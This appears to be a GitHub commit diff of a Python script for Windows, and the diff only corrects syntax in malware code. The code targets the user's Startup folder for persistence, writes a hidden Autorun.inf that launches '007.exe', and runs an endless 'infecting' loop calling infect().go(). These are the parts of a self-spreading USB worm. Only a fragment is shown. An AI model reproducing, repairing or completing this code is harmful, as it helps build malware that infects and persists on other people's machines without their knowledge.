File tree Expand file tree Collapse file tree 1 file changed +9
-7
lines changed
Expand file tree Collapse file tree 1 file changed +9
-7
lines changed Original file line number Diff line number Diff line change 55import win32con , win32api
66
77filename = sys .argv [0 ]
8- work_home = r"C:\\Users\\{0}\\AppData\\Roaming\\Microsoft\\Windows\\{1}\\Programs\\Startup" .format (os .getlogin (),'Start Menu' )
9- def writeconfig :
8+ work_home = r"C:\Users\{0}\AppData\Roaming\Microsoft\Windows\{1}\Programs\Startup" .format (os .getlogin (),'Start Menu' )
9+
10+ def writeconfig ():
1011 autorun = '''
11- [autorun]
12- open=007.exe
13- icon=007.exe
14- '''
12+ [autorun]
13+ open=007.exe
14+ icon=007.exe
15+ '''
16+
1517 with open ("Autorun.inf" ,'w' ) as loadautorun :
1618 loadautorun .write (autorun )
1719 win32api .SetFileAttributes ("Autorun.inf" ,win32con .FILE_ATTRIBUTE_HIDDEN )
@@ -58,7 +60,7 @@ def go(self):
5860 except :
5961 pass
6062
61- def infecting :
63+ def infecting () :
6264 while True :
6365 infect ().go ()
6466
You can’t perform that action at this time.
0 commit comments